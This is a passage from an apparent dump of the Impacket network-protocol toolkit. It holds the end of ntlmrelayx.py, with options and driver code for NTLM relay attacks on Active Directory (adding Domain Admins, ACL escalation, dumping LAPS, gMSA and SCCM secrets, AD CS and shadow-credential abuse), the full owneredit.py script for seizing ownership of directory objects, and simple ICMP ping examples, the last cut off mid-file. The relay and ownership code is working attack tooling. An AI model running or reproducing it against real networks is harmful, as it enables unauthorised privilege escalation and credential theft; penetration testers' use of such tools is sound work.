required=False, default=None, help='Select the attack to perform over RPC over named pipes.')\n    \n    #RPC arguments\n    rpcoptions = parser.add_argument_group(\"RPC client options\")\n    rpcoptions.add_argument('-rpc-mode', choices=[\"TSCH\", \"ICPR\"], default=\"TSCH\", help='Protocol to attack')\n    rpcoptions.add_argument('-rpc-use-smb', action='store_true', required=False, help='Relay DCE/RPC to SMB pipes')\n    rpcoptions.add_argument('-auth-smb', action='store', required=False, default='', metavar='[domain/]username[:password]',\n        help='Use this credential to authenticate to SMB (low-privilege account)')\n    rpcoptions.add_argument('-hashes-smb', action='store', required=False, metavar=\"LMHASH:NTHASH\")\n    rpcoptions.add_argument('-rpc-smb-port', type=int, choices=[139, 445], default=445, help='Destination port to connect to SMB')\n    rpcoptions.add_argument('-icpr-ca-name', action='store', default=\"\", help='Name of the CA for ICPR attack')\n\n    #MSSQL arguments\n    mssqloptions = parser.add_argument_group(\"MSSQL client options\")\n    mssqloptions.add_argument('-q','--query', action='append', required=False, metavar = 'QUERY', help='MSSQL query to execute'\n                        '(can specify multiple)')\n\n    #HTTPS options\n    httpoptions = parser.add_argument_group(\"HTTP options\")\n    httpoptions.add_argument('-machine-account', action='store', required=False,\n                            help='Domain machine account to use when interacting with the domain to grab a session key for '\n                                 'signing, format is domain/machine_name')\n    httpoptions.add_argument('-machine-hashes', action=\"store\", metavar=\"LMHASH:NTHASH\",\n                            help='Domain machine hashes, format is LMHASH:NTHASH')\n    httpoptions.add_argument('-domain', action=\"store\", help='Domain FQDN or IP to connect using NETLOGON')\n    httpoptions.add_argument('-remove-target', action='store_true', default=False,\n                            help='Try to remove the target in the challenge message (in case CVE-2019-1019 patch is not installed)')\n\n    #LDAP options\n    ldapoptions = parser.add_argument_group(\"LDAP client options\")\n    ldapoptions.add_argument('--no-dump', action='store_false', required=False, help='Do not attempt to dump LDAP information')\n    ldapoptions.add_argument('--no-da', action='store_false', required=False, help='Do not attempt to add a Domain Admin')\n    ldapoptions.add_argument('--no-acl', action='store_false', required=False, help='Disable ACL attacks')\n    ldapoptions.add_argument('--no-validate-privs', action='store_false', required=False, help='Do not attempt to enumerate privileges, assume permissions are granted to escalate a user via ACL attacks')\n    ldapoptions.add_argument('--escalate-user', action='store', required=False, help='Escalate privileges of this user instead of creating a new one')\n    ldapoptions.add_argument('--delegate-access', action='store_true', required=False, help='Delegate access on relayed computer account to the specified account')\n    ldapoptions.add_argument('--sid', action='store_true', required=False, help='Use a SID to delegate access rather than an account name')\n    ldapoptions.add_argument('--dump-laps', action='store_true', required=False, help='Attempt to dump any LAPS passwords readable by the user')\n    ldapoptions.add_argument('--dump-gmsa', action='store_true', required=False, help='Attempt to dump any gMSA passwords readable by the user')\n    ldapoptions.add_argument('--dump-adcs', action='store_true', required=False, help='Attempt to dump ADCS enrollment services and certificate templates info')\n    ldapoptions.add_argument('--add-dns-record', nargs=2, action='store', metavar=('NAME', 'IPADDR'), required=False, help='Add the <NAME> record to DNS via LDAP pointing to <IPADDR>')\n\n    #Common options for SMB and LDAP\n    commonoptions = parser.add_argument_group(\"Common options for SMB and LDAP\")\n    commonoptions.add_argument('--add-computer', action='store', metavar=('COMPUTERNAME', 'PASSWORD'), required=False, nargs='*', help='Attempt to add a new computer account via SMB or LDAP, depending on the specified target. '\n        'This argument can be used either with the LDAP or the SMB service, as long as the target is a domain controller.')\n\n    #IMAP options\n    imapoptions = parser.add_argument_group(\"IMAP client options\")\n    imapoptions.add_argument('-k','--keyword', action='store', metavar=\"KEYWORD\", required=False, default=\"password\", help='IMAP keyword to search for. '\n                        'If not specified, will search for mails containing \"password\"')\n    imapoptions.add_argument('-m','--mailbox', action='store', metavar=\"MAILBOX\", required=False, default=\"INBOX\", help='Mailbox name to dump. Default: INBOX')\n    imapoptions.add_argument('-a','--all', action='store_true', required=False, help='Instead of searching for keywords, '\n                        'dump all emails')\n    imapoptions.add_argument('-im','--imap-max', action='store',type=int, required=False,default=0, help='Max number of emails to dump '\n        '(0 = unlimited, default: no limit)')\n\n    # AD CS options\n    adcsoptions = parser.add_argument_group(\"AD CS attack options\")\n    adcsoptions.add_argument('--adcs', action='store_true', required=False, help='Enable AD CS relay attack')\n    adcsoptions.add_argument('--template', action='store', metavar=\"TEMPLATE\", required=False, help='AD CS template. Defaults to Machine or User whether relayed account name ends with `$`. Relaying a DC should require specifying `DomainController`')\n    adcsoptions.add_argument('--altname', action='store', metavar=\"ALTNAME\", required=False, help='Subject Alternative Name to use when performing ESC1 or ESC6 attacks.')\n\n    # Shadow Credentials attack options\n    shadowcredentials = parser.add_argument_group(\"Shadow Credentials attack options\")\n    shadowcredentials.add_argument('--shadow-credentials', action='store_true', required=False,\n                                   help='Enable Shadow Credentials relay attack (msDS-KeyCredentialLink manipulation for PKINIT pre-authentication)')\n    shadowcredentials.add_argument('--shadow-target', action='store', required=False, help='target account (user or computer$) to populate msDS-KeyCredentialLink from')\n    shadowcredentials.add_argument('--pfx-password', action='store', required=False,\n                                   help='password for the PFX stored self-signed certificate (will be random if not set, not needed when exporting to PEM)')\n    shadowcredentials.add_argument('--export-type', action='store', required=False, choices=[\"PEM\", \"PFX\"], type=lambda choice: choice.upper(), default=\"PFX\",\n                                   help='choose to export cert+private key in PEM or PFX (i.e. #PKCS12) (default: PFX))')\n    shadowcredentials.add_argument('--cert-outfile-path', action='store', required=False, help='filename to store the generated self-signed PEM or PFX certificate and key')\n\n    # SCCM policies options\n    sccmpoliciesoptions = parser.add_argument_group(\"SCCM Policies attack options\")\n    sccmpoliciesoptions.add_argument('--sccm-policies', action='store_true', required=False, help='Enable SCCM policies attack. Performs SCCM secret policies dump from a Management Point by registering a device. Works best when relaying a machine account. Expects as target \\'http://<MP>/ccm_system_windowsauth/request\\'')\n    sccmpoliciesoptions.add_argument('--sccm-policies-clientname', action='store', required=False, help='The name of the client that will be registered in order to dump secret policies. Defaults to the relayed account\\'s name')\n    sccmpoliciesoptions.add_argument('--sccm-policies-sleep', action='store', required=False, help='The number of seconds to sleep after the client registration before requesting secret policies')\n\n    sccmdpoptions = parser.add_argument_group(\"SCCM Distribution Point attack options\")\n    sccmdpoptions.add_argument('--sccm-dp', action='store_true', required=False, help='Enable SCCM Distribution Point attack. Perform package file dump from an SCCM Distribution Point. Expects as target \\'http://<DP>/sms_dp_smspkg$/Datalib\\'')\n    sccmdpoptions.add_argument('--sccm-dp-extensions', action='store', required=False, help='A custom list of extensions to look for when downloading files from the SCCM Distribution Point. If not provided, defaults to .ps1,.bat,.xml,.txt,.pfx')\n    sccmdpoptions.add_argument('--sccm-dp-files', action='store', required=False, help='The path to a file containing a list of specific URLs to download from the Distribution Point, instead of downloading by extensions. Providing this argument will skip file indexing')\n\n    try:\n       options = parser.parse_args()\n    except Exception as e:\n       logging.error(str(e))\n       sys.exit(1)\n\n    if options.rpc_use_smb and not options.auth_smb:\n       logging.error(\"Set -auth-smb to relay DCE/RPC to SMB pipes\")\n       sys.exit(1)\n    \n    # Ensuring the correct target is set when performing SCCM policies attack\n    if options.sccm_policies is True and not options.target.rstrip('/').endswith(\"/ccm_system_windowsauth/request\"):\n        logging.error(\"When performing SCCM policies attack, the Management Point authenticated device registration endpoint should be provided as target\")\n        logging.error(f\"For instance: {urlparse(options.target).scheme}://{urlparse(options.target).netloc}/ccm_system_windowsauth/request\")\n        sys.exit(1)\n\n    # Ensuring the correct target is set when performing SCCM DP attack\n    if options.sccm_dp is True and not options.target.rstrip('/').endswith(\"/sms_dp_smspkg$/Datalib\"):\n        logging.error(\"When performing SCCM DP attack, the Distribution Point Datalib endpoint should be provided as target\")\n        logging.error(f\"For instance: {urlparse(options.target).scheme}://{urlparse(options.target).netloc}/sms_dp_smspkg$/Datalib\")\n        sys.exit(1)\n\n    # Init the example's logger theme\n    logger.init(options.ts, options.debug)\n\n    # Let's register the protocol clients we have\n    # ToDo: Do this better somehow\n    from impacket.examples.ntlmrelayx.clients import PROTOCOL_CLIENTS\n    from impacket.examples.ntlmrelayx.attacks import PROTOCOL_ATTACKS\n\n    if options.add_dns_record:\n        dns_name = options.add_dns_record[0].lower()\n        if dns_name == 'wpad' or dns_name == '*':\n            logging.warning('You are asking to add a `wpad` or a wildcard DNS name. This can cause disruption in larger networks (using multiple DNS subdomains) or if workstations already use a proxy config.')\n\n    if options.codec is not None:\n        codec = options.codec\n    else:\n        codec = sys.getdefaultencoding()\n\n    if options.target is not None:\n        logging.info(\"Running in relay mode to single host\")\n        mode = 'RELAY'\n        targetSystem = TargetsProcessor(singleTarget=options.target, protocolClients=PROTOCOL_CLIENTS, randomize=options.random)\n        # Disabling multirelay feature (Single host + general candidate)\n        if targetSystem.generalCandidates:\n            options.no_multirelay = True\n    else:\n        if options.tf is not None:\n            #Targetfile specified\n            if (options.add_computer):\n                logging.info(\"To add a machine account through SMB only the Domain Controller must be specified as target\")\n                sys.exit(1)\n            logging.info(\"Running in relay mode to hosts in targetfile\")\n            targetSystem = TargetsProcessor(targetListFile=options.tf, protocolClients=PROTOCOL_CLIENTS, randomize=options.random)\n            mode = 'RELAY'\n        else:\n            logging.info(\"Running in reflection mode\")\n            targetSystem = None\n            mode = 'REFLECTION'\n\n    if not options.no_smb_server:\n        RELAY_SERVERS.append(SMBRelayServer)\n\n    if not options.no_http_server:\n        RELAY_SERVERS.append(HTTPRelayServer)\n        try:\n            options.http_port = parse_listening_ports(options.http_port)\n        except ValueError:\n            logging.error(\"Incorrect specification of port range for HTTP server\")\n            sys.exit(1)\n\n        if options.r is not None:\n            logging.info(\"Running HTTP server in redirect mode\")\n\n    if not options.no_wcf_server:\n        RELAY_SERVERS.append(WCFRelayServer)\n\n    if not options.no_raw_server:\n        RELAY_SERVERS.append(RAWRelayServer)\n    \n    if not options.no_winrm_server:\n        RELAY_SERVERS.append(WinRMRelayServer)\n        RELAY_SERVERS.append(WinRMSRelayServer)\n\n    if not options.no_rpc_server:\n        RELAY_SERVERS.append(RPCRelayServer)\n        \n    if not options.no_mssql_server:\n        RELAY_SERVERS.append(MSSQLRelayServer)\n\n    if not options.no_rdp_server:\n        RELAY_SERVERS.append(RDPRelayServer)\n\n    if targetSystem is not None and options.w:\n        watchthread = TargetsFileWatcher(targetSystem)\n        watchthread.start()\n\n    threads = set()\n    socksServer = None\n    if options.socks is True:\n\n        # Start a SOCKS proxy in the background\n        socksServer = SOCKS(server_address=(options.socks_address, options.socks_port), api_port=options.http_api_port)\n        socksServer.daemon_threads = True\n        socks_thread = Thread(target=socksServer.serve_forever)\n        socks_thread.daemon = True\n        socks_thread.start()\n        threads.add(socks_thread)\n\n    if 'interface_ip' not in options:\n        options.interface_ip = '::' if options.ipv6 else '0.0.0.0'\n\n    c = start_servers(options, threads)\n\n    # Log multirelay flag status\n    if options.no_multirelay:\n        logging.info(\"Multirelay disabled\")\n    else:\n        logging.info(\"Multirelay enabled\")\n\n    print(\"\")\n    logging.info(\"Servers started, waiting for connections\")\n    try:\n        if options.socks:\n            shell = MiniShell(c, threads, api_address='{}:{}'.format(options.socks_address, options.http_api_port))\n            shell.cmdloop()\n        else:\n            sys.stdin.read()\n    except KeyboardInterrupt:\n        pass\n    else:\n        pass\n\n    if options.socks is True:\n        socksServer.shutdown()\n        del socksServer\n\n    for s in threads:\n        del s\n\n    sys.exit(0)\n"
  },
  {
    "path": "examples/owneredit.py",
    "content": "#!/usr/bin/env python3\n# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Description:\n#   Python script for reading and modifying the Owner attribute (OwnerSid) of an Active Directory object.\n#\n# Authors:\n#   Charlie BROMBERG (@_nwodtuhs)\n\nimport argparse\nimport logging\nimport sys\nimport traceback\n\nimport ldap3\nimport ldapdomaindump\nfrom ldap3.protocol.formatters.formatters import format_sid\n\nfrom impacket import version\nfrom impacket.examples import logger, utils\nfrom impacket.ldap import ldaptypes\nfrom ldap3.utils.conv import escape_filter_chars\nfrom ldap3.protocol.microsoft import security_descriptor_control\n\nfrom impacket.examples.utils import init_ldap_session, parse_identity\n\n\n# Universal SIDs\nWELL_KNOWN_SIDS = {\n    'S-1-0': 'Null Authority',\n    'S-1-0-0': 'Nobody',\n    'S-1-1': 'World Authority',\n    'S-1-1-0': 'Everyone',\n    'S-1-2': 'Local Authority',\n    'S-1-2-0': 'Local',\n    'S-1-2-1': 'Console Logon',\n    'S-1-3': 'Creator Authority',\n    'S-1-3-0': 'Creator Owner',\n    'S-1-3-1': 'Creator Group',\n    'S-1-3-2': 'Creator Owner Server',\n    'S-1-3-3': 'Creator Group Server',\n    'S-1-3-4': 'Owner Rights',\n    'S-1-5-80-0': 'All Services',\n    'S-1-4': 'Non-unique Authority',\n    'S-1-5': 'NT Authority',\n    'S-1-5-1': 'Dialup',\n    'S-1-5-2': 'Network',\n    'S-1-5-3': 'Batch',\n    'S-1-5-4': 'Interactive',\n    'S-1-5-6': 'Service',\n    'S-1-5-7': 'Anonymous',\n    'S-1-5-8': 'Proxy',\n    'S-1-5-9': 'Enterprise Domain Controllers',\n    'S-1-5-10': 'Principal Self',\n    'S-1-5-11': 'Authenticated Users',\n    'S-1-5-12': 'Restricted Code',\n    'S-1-5-13': 'Terminal Server Users',\n    'S-1-5-14': 'Remote Interactive Logon',\n    'S-1-5-15': 'This Organization',\n    'S-1-5-17': 'This Organization',\n    'S-1-5-18': 'Local System',\n    'S-1-5-19': 'NT Authority',\n    'S-1-5-20': 'NT Authority',\n    'S-1-5-32-544': 'Administrators',\n    'S-1-5-32-545': 'Users',\n    'S-1-5-32-546': 'Guests',\n    'S-1-5-32-547': 'Power Users',\n    'S-1-5-32-548': 'Account Operators',\n    'S-1-5-32-549': 'Server Operators',\n    'S-1-5-32-550': 'Print Operators',\n    'S-1-5-32-551': 'Backup Operators',\n    'S-1-5-32-552': 'Replicators',\n    'S-1-5-64-10': 'NTLM Authentication',\n    'S-1-5-64-14': 'SChannel Authentication',\n    'S-1-5-64-21': 'Digest Authority',\n    'S-1-5-80': 'NT Service',\n    'S-1-5-83-0': 'NT VIRTUAL MACHINE\\\\Virtual Machines',\n    'S-1-16-0': 'Untrusted Mandatory Level',\n    'S-1-16-4096': 'Low Mandatory Level',\n    'S-1-16-8192': 'Medium Mandatory Level',\n    'S-1-16-8448': 'Medium Plus Mandatory Level',\n    'S-1-16-12288': 'High Mandatory Level',\n    'S-1-16-16384': 'System Mandatory Level',\n    'S-1-16-20480': 'Protected Process Mandatory Level',\n    'S-1-16-28672': 'Secure Process Mandatory Level',\n    'S-1-5-32-554': 'BUILTIN\\\\Pre-Windows 2000 Compatible Access',\n    'S-1-5-32-555': 'BUILTIN\\\\Remote Desktop Users',\n    'S-1-5-32-557': 'BUILTIN\\\\Incoming Forest Trust Builders',\n    'S-1-5-32-556': 'BUILTIN\\\\Network Configuration Operators',\n    'S-1-5-32-558': 'BUILTIN\\\\Performance Monitor Users',\n    'S-1-5-32-559': 'BUILTIN\\\\Performance Log Users',\n    'S-1-5-32-560': 'BUILTIN\\\\Windows Authorization Access Group',\n    'S-1-5-32-561': 'BUILTIN\\\\Terminal Server License Servers',\n    'S-1-5-32-562': 'BUILTIN\\\\Distributed COM Users',\n    'S-1-5-32-569': 'BUILTIN\\\\Cryptographic Operators',\n    'S-1-5-32-573': 'BUILTIN\\\\Event Log Readers',\n    'S-1-5-32-574': 'BUILTIN\\\\Certificate Service DCOM Access',\n    'S-1-5-32-575': 'BUILTIN\\\\RDS Remote Access Servers',\n    'S-1-5-32-576': 'BUILTIN\\\\RDS Endpoint Servers',\n    'S-1-5-32-577': 'BUILTIN\\\\RDS Management Servers',\n    'S-1-5-32-578': 'BUILTIN\\\\Hyper-V Administrators',\n    'S-1-5-32-579': 'BUILTIN\\\\Access Control Assistance Operators',\n    'S-1-5-32-580': 'BUILTIN\\\\Remote Management Users',\n}\n\nclass OwnerEdit(object):\n    def __init__(self, ldap_server, ldap_session, args):\n        super(OwnerEdit, self).__init__()\n        self.ldap_server = ldap_server\n        self.ldap_session = ldap_session\n\n        self.target_sAMAccountName = args.target_sAMAccountName\n        self.target_SID = args.target_SID\n        self.target_DN = args.target_DN\n\n        self.new_owner_sAMAccountName = args.new_owner_sAMAccountName\n        self.new_owner_SID = args.new_owner_SID\n        self.new_owner_DN = args.new_owner_DN\n\n        logging.debug('Initializing domainDumper()')\n        cnf = ldapdomaindump.domainDumpConfig()\n        cnf.basepath = None\n        self.domain_dumper = ldapdomaindump.domainDumper(self.ldap_server, self.ldap_session, cnf)\n\n        if self.target_sAMAccountName or self.target_SID or self.target_DN:\n            # Searching for target account with its security descriptor\n            self.search_target_principal_security_descriptor()\n            # Extract security descriptor data\n            self.target_principal_raw_security_descriptor = self.target_principal['nTSecurityDescriptor'].raw_values[0]\n            self.target_principal_security_descriptor = ldaptypes.SR_SECURITY_DESCRIPTOR(data=self.target_principal_raw_security_descriptor)\n\n        # Searching for the owner SID if any owner argument was given and new_owner_SID wasn't\n        if self.new_owner_SID is None and self.new_owner_sAMAccountName is not None or self.new_owner_DN is not None:\n            _lookedup_owner = \"\"\n            if self.new_owner_sAMAccountName is not None:\n                _lookedup_owner = self.new_owner_sAMAccountName\n                self.ldap_session.search(self.domain_dumper.root, '(sAMAccountName=%s)' % escape_filter_chars(_lookedup_owner), attributes=['objectSid'])\n            elif self.new_owner_DN is not None:\n                _lookedup_owner = self.new_owner_DN\n                self.ldap_session.search(self.domain_dumper.root, '(distinguishedName=%s)' % _lookedup_owner, attributes=['objectSid'])\n            try:\n                self.new_owner_SID = format_sid(self.ldap_session.entries[0]['objectSid'].raw_values[0])\n                logging.debug(\"Found new owner SID: %s\" % self.new_owner_SID)\n            except IndexError:\n                logging.error('New owner SID not found in LDAP (%s)' % _lookedup_owner)\n                exit(1)\n\n    def read(self):\n        current_owner_SID = format_sid(self.target_principal_security_descriptor['OwnerSid']).formatCanonical()\n        logging.info(\"Current owner information below\")\n        logging.info(\"- SID: %s\" % current_owner_SID)\n        logging.info(\"- sAMAccountName: %s\" % self.resolveSID(current_owner_SID))\n        self.ldap_session.search(self.domain_dumper.root, '(objectSid=%s)' % current_owner_SID, attributes=['distinguishedName'])\n        current_owner_distinguished_name = self.ldap_session.entries[0]\n        logging.info(\"- distinguishedName: %s\" % current_owner_distinguished_name['distinguishedName'])\n\n    def write(self):\n        logging.debug('Attempt to modify the OwnerSid')\n        _new_owner_SID = ldaptypes.LDAP_SID()\n        _new_owner_SID.fromCanonical(self.new_owner_SID)\n        # lib doesn't set this, but I don't known if it's needed\n        # _new_owner_SID['SubLen'] = len(_new_owner_SID['SubAuthority'])\n        self.target_principal_security_descriptor['OwnerSid'] = _new_owner_SID\n\n        self.ldap_session.modify(\n            self.target_principal.entry_dn,\n            {'nTSecurityDescriptor': (ldap3.MODIFY_REPLACE, [\n                self.target_principal_security_descriptor.getData()\n            ])},\n            controls=security_descriptor_control(sdflags=0x01))\n        if self.ldap_session.result['result'] == 0:\n            logging.info('OwnerSid modified successfully!')\n        else:\n            if self.ldap_session.result['result'] == 50:\n                logging.error('Could not modify object, the server reports insufficient rights: %s',\n                              self.ldap_session.result['message'])\n            elif self.ldap_session.result['result'] == 19:\n                logging.error('Could not modify object, the server reports a constrained violation: %s',\n                              self.ldap_session.result['message'])\n            else:\n                logging.error('The server returned an error: %s', self.ldap_session.result['message'])\n\n    # Attempts to retrieve the Security Descriptor of the specified target\n    def search_target_principal_security_descriptor(self):\n        _lookedup_principal = \"\"\n        # Set SD flags to only query for OwnerSid\n        controls = security_descriptor_control(sdflags=0x01)\n        if self.target_sAMAccountName is not None:\n            _lookedup_principal = self.target_sAMAccountName\n            self.ldap_session.search(self.domain_dumper.root, '(sAMAccountName=%s)' % escape_filter_chars(_lookedup_principal), attributes=['nTSecurityDescriptor'], controls=controls)\n        elif self.target_SID is not None:\n            _lookedup_principal = self.target_SID\n            self.ldap_session.search(self.domain_dumper.root, '(objectSid=%s)' % _lookedup_principal, attributes=['nTSecurityDescriptor'], controls=controls)\n        elif self.target_DN is not None:\n            _lookedup_principal = self.target_DN\n            self.ldap_session.search(self.domain_dumper.root, '(distinguishedName=%s)' % _lookedup_principal, attributes=['nTSecurityDescriptor'], controls=controls)\n        try:\n            self.target_principal = self.ldap_session.entries[0]\n            logging.debug('Target principal found in LDAP (%s)' % _lookedup_principal)\n        except IndexError:\n            logging.error('Target principal not found in LDAP (%s)' % _lookedup_principal)\n            exit(0)\n\n    # Attempts to resolve a SID and return the corresponding samaccountname\n    def resolveSID(self, sid):\n        # Tries to resolve the SID from the well known SIDs\n        if sid in WELL_KNOWN_SIDS.keys() or False:\n            return WELL_KNOWN_SIDS[sid]\n        # Tries to resolve the SID from the LDAP domain dump\n        else:\n            self.ldap_session.search(self.domain_dumper.root, '(objectSid=%s)' % sid, attributes=['samaccountname'])\n            try:\n                dn = self.ldap_session.entries[0].entry_dn\n                samname = self.ldap_session.entries[0]['samaccountname']\n                return samname\n            except IndexError:\n                logging.debug('SID not found in LDAP: %s' % sid)\n                return \"\"\n\n\ndef parse_args():\n    parser = argparse.ArgumentParser(add_help=True, description='Python editor for a principal\\'s DACL.')\n    parser.add_argument('identity', action='store', help='domain.local/username[:password]')\n    parser.add_argument('-use-ldaps', action='store_true', help='Use LDAPS instead of LDAP')\n    parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output')\n    parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')\n\n    auth_con = parser.add_argument_group('authentication & connection')\n    auth_con.add_argument('-hashes', action=\"store\", metavar=\"LMHASH:NTHASH\", help='NTLM hashes, format is LMHASH:NTHASH')\n    auth_con.add_argument('-no-pass', action=\"store_true\", help='don\\'t ask for password (useful for -k)')\n    auth_con.add_argument('-k', action=\"store_true\",\n                          help='Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ones specified in the command line')\n    auth_con.add_argument('-aesKey', action=\"store\", metavar=\"hex key\", help='AES key to use for Kerberos Authentication (128 or 256 bits)')\n    auth_con.add_argument('-dc-ip', action='store', metavar=\"ip address\",\n                          help='IP Address of the domain controller or KDC (Key Distribution Center) for Kerberos. If omitted it will use the domain part (FQDN) specified in the identity parameter')\n    auth_con.add_argument('-dc-host', action='store', metavar=\"hostname\", help='Hostname of the domain controller or KDC (Key Distribution Center) for Kerberos. If omitted, -dc-ip will be used')\n\n    new_owner_parser = parser.add_argument_group(\"owner\", description=\"Object, controlled by the attacker, to set as owner of the target object\")\n    new_owner_parser.add_argument(\"-new-owner\", dest=\"new_owner_sAMAccountName\", metavar=\"NAME\", type=str, required=False, help=\"sAMAccountName\")\n    new_owner_parser.add_argument(\"-new-owner-sid\", dest=\"new_owner_SID\", metavar=\"SID\", type=str, required=False, help=\"Security IDentifier\")\n    new_owner_parser.add_argument(\"-new-owner-dn\", dest=\"new_owner_DN\", metavar=\"DN\", type=str, required=False, help=\"Distinguished Name\")\n\n    target_parser = parser.add_argument_group(\"target\", description=\"Target object to edit the owner of\")\n    target_parser.add_argument(\"-target\", dest=\"target_sAMAccountName\", metavar=\"NAME\", type=str, required=False, help=\"sAMAccountName\")\n    target_parser.add_argument(\"-target-sid\", dest=\"target_SID\", metavar=\"SID\", type=str, required=False, help=\"Security IDentifier\")\n    target_parser.add_argument(\"-target-dn\", dest=\"target_DN\", metavar=\"DN\", type=str, required=False, help=\"Distinguished Name\")\n\n    dacl_parser = parser.add_argument_group(\"dacl editor\")\n    dacl_parser.add_argument('-action', choices=['read', 'write'], nargs='?', default='read', help='Action to operate on the owner attribute')\n\n    if len(sys.argv) == 1:\n        parser.print_help()\n        sys.exit(1)\n\n    return parser.parse_args()\n\n\ndef main():\n    print(version.BANNER)\n    args = parse_args()\n    logger.init(args.ts, args.debug)\n\n    if args.action == 'write' and args.new_owner_sAMAccountName is None and args.new_owner_SID is None and args.new_owner_DN is None:\n        logging.critical('-owner, -owner-sid, or -owner-dn should be specified when using -action write')\n        sys.exit(1)\n\n    if args.action == \"restore\" and not args.filename:\n        logging.critical('-file is required when using -action restore')\n\n    domain, username, password, lmhash, nthash, args.k = parse_identity(args.identity, args.hashes, args.no_pass, args.aesKey, args.k)\n\n    try:\n        ldap_server, ldap_session = init_ldap_session(domain, username, password, lmhash, nthash, args.k, args.dc_ip, args.dc_host, args.aesKey, args.use_ldaps)\n        owneredit = OwnerEdit(ldap_server, ldap_session, args)\n        if args.action == 'read':\n            owneredit.read()\n        elif args.action == 'write':\n            owneredit.read()\n            owneredit.write()\n    except Exception as e:\n        if logging.getLogger().level == logging.DEBUG:\n            traceback.print_exc()\n        logging.error(str(e))\n\n\nif __name__ == '__main__':\n    main()\n"
  },
  {
    "path": "examples/ping.py",
    "content": "#!/usr/bin/env python\n# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Description:\n#   Simple ICMP ping.\n#\n#   This implementation of ping uses the ICMP echo and echo-reply packets\n#   to check the status of a host. If the remote host is up, it should reply\n#   to the echo probe with an echo-reply packet.\n#   Note that this isn't a definite test, as in the case the remote host is up\n#   but refuses to reply the probes.\n#   Also note that the user must have special access to be able to open a raw\n#   socket, which this program requires.\n#\n# Authors:\n#   Gerardo Richarte (@gerasdf)\n#   Javier Kohen\n#\n# Reference for:\n#   ImpactPacket: IP, ICMP, DATA\n#   ImpactDecoder\n#\n\nimport select\nimport socket\nimport time\nimport sys\n\nfrom impacket import ImpactDecoder, ImpactPacket\n\nif len(sys.argv) < 3:\n    print(\"Use: %s <src ip> <dst ip>\" % sys.argv[0])\n    sys.exit(1)\n\nsrc = sys.argv[1]\ndst = sys.argv[2]\n\n# Create a new IP packet and set its source and destination addresses.\n\nip = ImpactPacket.IP()\nip.set_ip_src(src)\nip.set_ip_dst(dst)\n\n# Create a new ICMP packet of type ECHO.\n\nicmp = ImpactPacket.ICMP()\nicmp.set_icmp_type(icmp.ICMP_ECHO)\n\n# Include a 156-character long payload inside the ICMP packet.\nicmp.contains(ImpactPacket.Data(b\"A\"*156))\n\n# Have the IP packet contain the ICMP packet (along with its payload).\nip.contains(icmp)\n\n# Open a raw socket. Special permissions are usually required.\ns = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP)\ns.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)\n\nseq_id = 0\nwhile 1:\n    # Give the ICMP packet the next ID in the sequence.\n    seq_id += 1\n    icmp.set_icmp_id(seq_id)\n\n    # Calculate its checksum.\n    icmp.set_icmp_cksum(0)\n    icmp.auto_checksum = 1\n\n    # Send it to the target host.\n    s.sendto(ip.get_packet(), (dst, 0))\n\n    # Wait for incoming replies.\n    if s in select.select([s], [], [], 1)[0]:\n       reply = s.recvfrom(2000)[0]\n\n       # Use ImpactDecoder to reconstruct the packet hierarchy.\n       rip = ImpactDecoder.IPDecoder().decode(reply)\n       # Extract the ICMP packet from its container (the IP packet).\n       ricmp = rip.child()\n\n       # If the packet matches, report it to the user.\n       if rip.get_ip_dst() == src and rip.get_ip_src() == dst and icmp.ICMP_ECHOREPLY == ricmp.get_icmp_type():\n           print(\"Ping reply for sequence #%d\" % ricmp.get_icmp_id())\n\n       time.sleep(1)\n"
  },
  {
    "path": "examples/ping6.py",
    "content": "#!/usr/bin/env python\n# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Description:\n#   Simple ICMP6 ping.\n#\n#   This implementation of ping uses the ICMP echo and echo-reply packets\n#   to check the status of a host. If the remote host is up, it should reply\n#   to the echo probe with an echo-reply packet.\n#   Note that this isn't a definite test, as in the case the remote host is up\n#   but refuses to reply the probes.\n#   Also note that the user must have special access to be able to open a raw\n#   socket, which this program requires.\n#\n# Authors:\n#   Alberto Solino (@agsolino)\n#\n# Reference for:\n#   ImpactPacket: ICMP6\n#   ImpactDecoder\n#\n\nimport select\nimport socket\nimport time\nimport sys\n\nfrom impacket import ImpactDecoder, IP6, ICMP6, version\n\nprint(version.BANNER)\n\nif len(sys.argv) < 3:\n    print(\"Use: %s <src ip> <dst ip>\" % sys.argv[0])\n    sys.exit(1)\n\nsrc = sys.argv[1]\ndst = sys.argv[2]\n\n# Create a new IP packet and set its source and destination addresses.\n\nip = IP6.IP6()\nip.set_ip_src(src)\nip.set_ip_dst(dst)\nip.set_traffic_class(0)\nip.set_flow_label(0)\nip.set_hop_limit(64)\n\n# Open a raw socket. Special permissions are usually required.\ns = socket.socket(socket.AF_INET6, socket.SOCK_RAW, socket.IPPROTO_ICMPV6)\n\npayload = b\"A\"*156\n\nprint(\"PING %s %d data bytes\" % (dst, len(payload)))\nseq_id = 0\nwhile 1:\n    # Give the ICMP packet the next ID in the sequence.\n    seq_id += 1\n    icmp = ICMP6.ICMP6.Echo_Request(1, seq_id, payload)\n\n    # Have the IP packet contain the ICMP packet (along with its payload).\n    ip.contains(icmp)\n    ip.set_next_header(ip.child().get_ip_protocol_number())\n    ip.set_payload_length(ip.child().get_size())\n    icmp.calculate_checksum()\n\n    # Send it to the target host.\n    s.sendto(icmp.get_packet(), (dst, 0))\n\n    # Wait for incoming replies.\n    if s in select.select([s], [], [], 1)[0]:\n        reply = s.recvfrom(2000)[0]\n\n        # Use ImpactDecoder to reconstruct the packet hierarchy.\n        rip = ImpactDecoder.ICMP6Decoder().decode(reply)\n\n        # If the packet matches, report it to the user.\n        if 